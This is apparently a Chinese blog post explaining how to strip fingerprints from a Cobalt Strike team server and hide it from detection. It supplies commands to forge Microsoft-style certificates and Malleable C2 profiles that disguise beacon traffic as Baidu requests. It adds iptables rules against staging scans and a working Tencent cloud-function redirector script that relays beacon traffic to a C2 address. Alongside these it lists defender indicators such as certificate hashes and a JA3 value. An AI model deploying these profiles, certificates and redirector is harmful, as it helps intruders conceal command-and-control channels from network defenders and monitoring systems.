Cobalt Strike 的特征与隐藏

前言

很早之前已经在cobalt strike 上做过了一些特征处理,作为临时的一种方案。不过并没有完全去除,这次打算再把cobalt strike的特征和隐藏的一些手段捋一遍。

端口

cobalt strike 默认50050端口,修改也很简单。只需要编辑teamserver文件,修改server_port 即可。

image.png

cobaltstrike.store

cobaltstrike.store证书只用于服务端和客户端通讯。区别于HTTPS上线使用的证书。
根据这篇文章 https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/csmo-ren-duan-53e3-zheng-4e66-za-xiang 提示HTTPS通信使用的是ssl.store证书。
cobalt strike 默认的证书存在cobalt strike 的指纹信息。需要keytool (Java数据证书的管理工具) 修改证书信息,创建新的cobaltstrike.store。

keytool -keystore cobaltstrike.store -storepass ccc123456 -keypass ccc123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12

修改之前默认的store信息

keytool -list -v -keystore cobaltstrike.store -storepass 123456
image.png

这里用的4.1版本,默认SHA256值为
64257FC0FAC31C01A5CCD816C73EA86E639260DA1604D04DB869BB603C2886E6
可以在censys.io上直接搜索这个证书。

image.png

修改之后的特征值如下图

image.png

HTTP 流量特征

在使用cobalt strike HTTP通信的过程中,通过wireshark可抓取HTTP协议。包括请求的固定地址,请求头等等。可以看到一些固定的请求信息成为一部分特征。

image.png

所以Malleable-C2-Profiles 配置文件由此而来,它允许我们仅通过一个简单的配置文件来改变Beacon与cobalt strike通信时的流量特征与行为。

自己简单从 https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile 上改写了一个配置文件。

set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";

http-get {

    set uri "/5eN1bjq8AAUYm2zgoY3K/ll_9354efa.js";

    client {

        header "Accept" "*/*";
        header "Host" "www.baidu.com";
        header "Content-Type" "text/html;charset=UTF-8";
        header "Cache-Control" "no-cache";

        metadata {
            base64;
            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
            header "Cookie";
        }
    }

    server {

        header "Server" "nginx";
        header "X-Frame-Options" "SAMEORIGIN";
        header "Content-Encoding" "gzip";
        header "Cache-Control" "no-cache";
        header "Content-Type" "text/html;charset=UTF-8";

        output {
            print;
        }
    }
}

http-post {
    
    set uri "/hiscd37ed75a9387c5b.js";

    client {

        header "Accept" "*/*";
        header "Content-Type" "text/html;charset=UTF-8";
        header "Host" "hectorstatic.baidu.com";

        id {
            parameter "sn";
        }

        parameter "dc_ref" "http%3A%2F%2Fwww.baidu.com";

        output {
            base64;
            print;
        }
    }

    server {

        header "Server" "nginx";
        header "X-Frame-Options" "SAMEORIGIN";
        header "Content-Type" "text/html;charset=UTF-8";

        output {
            print;
        }
    }
}

看起来也很简单,无非就是修改了HTTP的get、post请求方式的一些信息。
通过./c2lint 检测该profile文件。

image.png

可以看到我们伪造的请求信息。
再次启动teamserver,后面跟上我们新建的profile文件。
wireshark 抓包证明了特征信息被修改了。

image.png

HTTPS 流量特征

那使用HTTPS加密通信,不可以绕过流量设备的检测吗?
答案是不可以。因为在Beacon上线时使用的HTTPS证书同样具有特征。
以Cobalt Strike 4.1 为例,wireshark抓取Certificate数据包。

image.png

选择Export Selected Packet Bytes,即导出分组字节流。
保存格式为'All files',命名为a.cer。
而后计算该证书的MD5和SHA256值。

image.png

也可利用censys.io搜索相关信息

443.https.tls.certificate.parsed.fingerprint_sha256:87f2085c32b6a2cc709b365f55873e207a9caa10bffecf2fd16d3cf9d94d390c
image.png

你以为这就完了吗?在Certificate数据包里存在特征,而Client Hello数据包同样也存在。

image.png

JA3 这个项目用于收集Client Hello数据包中以下字段的十进制值:包括版本、可接受的密码、扩展列表、椭圆曲线密码和椭圆曲线密码格式。然后,用,来分隔各个字段、用-来分隔各个字段中的各个值,将这些值串联在一起之后,计算 MD5,就是一个ja3。如果没有某个字段,则这些字段的值为空。
我用wireshark抓一下HTTPS的Client Hello数据包。
第一个字段版本:TLS ClientHello version

image.png

0x0303 转化十六进制即为771。

第二个字段接受的加密算法:Cipher Suites

image.png

正好包括十九组,依次计算十进制,即为

49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10

第三个字段扩展列表中的每一个type值

image.png

使用-依次连接,即为

5-10-11-13-35-23-65281

第四个字段`支持的椭圆曲线 Extension
对supported group 字段的值依次计算。

image.png

29-23-24

最后一个字段 Extension: ec_point_formats
支持的点压缩格式扩展。

image.png

为0。
将上面数值用,拼接,而后MD5哈希,结果为72a589da586844d7f0818ce684948eea

image.png

有师傅已经写出了脚本实现自动化计算。
利用 https://github.com/Macr0phag3/ja3box 项目检查一下计算是否正确。

image.png

对比 https://github.com/ByteSecLabs/ja3-ja3s-combo/blob/master/master-list.txt 可证实是CobaltStrike的ja3指纹。但是直接通过ja3值去判定cobalt strike显得不是很严谨。
具体参考 https://zhuanlan.zhihu.com/p/342562936

基于以上对HTTPS证书特征的查看,强烈建议一定要修改默认的HTTPS证书,重新申请一个HTTPS证书。
先在godaddy购买的域名上,添加A记录,指向自己的服务器。

image.png

再去freessl网站申请证书。

image.png

会生成一个TXT记录,复制进DNS域名管理。而后等待解析。
通过后,点击下载文件。

image.png

得到full_chain.pem证书和private.key私钥两个文件。上传至cobalt strike文件夹下,使用keytool重新创建store证书。

openssl pkcs12 -export -in full_chain.pem -inkey private.key -out cdn.cseroadweb.xyz.p12 -name cdn.cseroadweb.xyz -passout pass:ccc123456
keytool -importkeystore -deststorepass ccc123456 -destkeypass ccc123456 -destkeystore new.store -srckeystore cdn.cseroadweb.xyz.p12 -srcstoretype PKCS12 -srcstorepass ccc123456 -alias cdn.cseroadweb.xyz

创建后,在profile配置文件中,添加

https-certificate {
    set keystore "new.store";
    set password "ccc123456";
}

同时也将teamserver的store替换为new.store,保证cobalt strike去除特征。
测试可绕过某些流量监控设备。

Beacon Staging 特征

做完了前面的工作以后,cobalt strike 的特征就没有了吗?
不,还有很要命的一个特征。
在cobalt strike 上线的时候,首先投递一个被称为stager的小巧payload,然后去beacon staging server下载体积较大更复杂的stage。具体细节不是很明白。
通过访问默认的uri就可以获取到cobalt strike 的shellcode。有师傅已经写好了grab_beacon_config.nse脚本来识别beacon staging的特征。

nmap 47.10.xxx.xxx --script=grab_beacon_config.nse
image.png

且360的Quake主动测绘已经有了通过beacon查找C2。具体参考 https://www.anquanke.com/post/id/224535

而修改这个特征的方法,目前只看到两种:

  1. 修改源码加密的密钥,参考:https://cloud.tencent.com/developer/article/1764340
  2. 从防火墙上限制访问beacon的端口。

菜鸡的我只能通过iptables临时禁用端口。

iptables -I INPUT -p tcp --dport 443 -j DROP 
iptables -I INPUT -s 47.10.xx.xx -ptcp --dport 443 -j ACCEPT

只允许47.10.xx.xx这个IP访问443端口。
本地云服务器上发现没有iptables服务,只能使用iptablse-save生成配置文件

iptables-save > /etc/iptables.rules

配置网卡启动前加载
编辑/etc/network/interfaces文件,添加

pre-up iptables-restore < /etc/iptables.rules

再重启网卡即可。

image.png

隐藏

说完了Cobalt Strike的特征,再顺带着看一下隐藏的技巧。当然,前提是修改了cobaltstrike.store、HTTPS证书、Beacon Staging 等特征。不然隐藏的再好又有什么意义。

CDN

简介

利用CDN来转发合法的http或者https流量来隐藏。

使用

可以利用Cloudflare 配置CDN来隐藏Cobalt Strike。测试的时候不稳定,这里就不介绍了。

域前置

简介

我们curl a.com -H "host:b.com",此时抓包流量,表面上显示a.com,实际上我们与b.com进行了通信。
通过在加速域名设置为高可信白名单子域名隐藏自己的真实域名与ip,且受害主机上的流量只有跟CDN通信的,不会存在真实的Cobalt Strike。

使用

在四月份的时候,阿里云还可以做域前置。现在阿里云也做了验证加速域名的所有权。导致这个方案也夭折了。

image.png

云函数

简介

Cobalt Strike客户端的流量经过云函数转发,到达Cobalt Strike服务器,以此来达到隐藏的效果。

使用

选择腾讯云函数来隐藏Cobalt Strike,使用API网关,点击创建服务并新建API,使用python3.6来创建一个hello word模板。
注意创建API时,路径为/

image.png

创建函数服务--->函数管理--->函数代码

image.png
# -*- coding: utf8 -*-
import json
def main_handler(event, context):
    print("Received event: " + json.dumps(event, indent = 2)) 
    res = {
        "isBase64Encoded": False,
        "statusCode": 200,
        "headers": {"Content-Type":"text/html"},
        "body": "

hello

" } return res

创建触发器,点击发布。

image.png

详情配置参考 https://www.cnblogs.com/ahtoh/p/14680876.html
配置云函数转发到Cobalt Strike。只需要修改函数代码,其余不做修改。

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    response = {}
    path = None
    headers = None
    try:
        C2='http://47.102.xxx.xxx:80'
        if 'path' in event.keys():
            path=event['path']
        if 'headers' in event.keys():    
            headers=event['headers']
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else:
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            print(resp.headers)
            print(resp.content)
        response={
            "isBase64Encoded": True,
            "statusCode": resp.status_code,
            "headers": dict(resp.headers),
            "body": str(base64.b64encode(resp.content))[2:-1]
        }
    except Exception as e:
        print(e)
    finally:
        return response

再次发布测试。
访问API网关,默认404页面。

image.png

在Cobalt Strike 服务器端新增profile文件。

set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "nginx";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

启动Cobalt Strike 服务端,创建listener。

image.png

可以成功上线。且外部IP均为腾讯云。

image.png

wireshark抓取数据包也是这样。

image.png

如果使用https,则需要修改函数代码。

C2='https://47.102.xx.xx:443'
image.png

但因为腾讯云函数只支持80,443端口,而beacon Staging 特征也是在80,443上,依然可以发现Cobalt Strike 的特征。

总结

在不会修改源码的情况下,力求将Cobalt Strike 的特征清理干净。当老技术被用烂的时候,需要将多种技术融合更新产生新的技术。

参考资料

https://www.tr0y.wang/2020/06/28/ja3/
http://www.feidao.site/wordpress/?p=4457#toc-head-4
https://www.anquanke.com/post/id/224535
https://hosch3n.github.io/2020/12/16/%E6%A3%80%E6%B5%8B%E4%B8%8E%E9%9A%90%E8%97%8FCobaltstrike%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E4%BA%91%E5%87%BD%E6%95%B0
https://www.anquanke.com/post/id/231448#h3-2
https://github.com/salesforce/ja3
http://cn0sec.cn/index.php/archives/485/
https://shimo.im/docs/3RjkWKcQxkrPwxyd/read
http://www.qishunwang.net/news_show_25509.aspx

你可能感兴趣的:(Cobalt Strike 的特征与隐藏)